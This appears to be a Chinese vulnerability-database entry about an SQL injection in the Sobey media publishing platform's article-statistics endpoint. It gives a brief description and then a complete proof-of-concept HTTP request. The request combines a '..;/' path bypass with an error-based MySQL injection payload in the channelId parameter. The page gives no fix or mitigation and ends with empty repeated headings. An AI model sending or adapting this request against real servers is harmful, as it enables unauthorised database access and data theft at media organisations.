索贝融媒体 /sobey-mchEditor/mch/Jzt/statistics/countJztArticleGroupByChannel2 SQL 注入漏洞

日期: 2025-10-10 | 影响软件: 索贝融媒体 | POC: 已公开

漏洞描述

索贝融媒体是一款面向媒体行业的综合业务系统，主要用于新闻内容管理和发布。该产品中的/sobey-mchEditor/mch/Jzt/statistics/countJztArticleGroupByChannel2接口存在SQL注入漏洞，由于未对channelId和ID参数进行充分过滤，攻击者可通过构造恶意SQL语句获取数据库敏感信息，可能导致数据库被完全控制。

PoC代码

GET /sobey-mchEditor/js/..;/mch/Jzt/statistics/countJztArticleGroupByChannel2?siteCode=&token=&userCode=admin&channelId=1&catalogid=1&channelId=1+AND+GTID_SUBSET%28CONCAT%280x7e%2C%28SELECT+%28ELT%281709%3D1709%2C1%29%29%29%2Cmd5%281%29%29%2C1709%29 HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

漏洞描述

PoC代码

相关漏洞推荐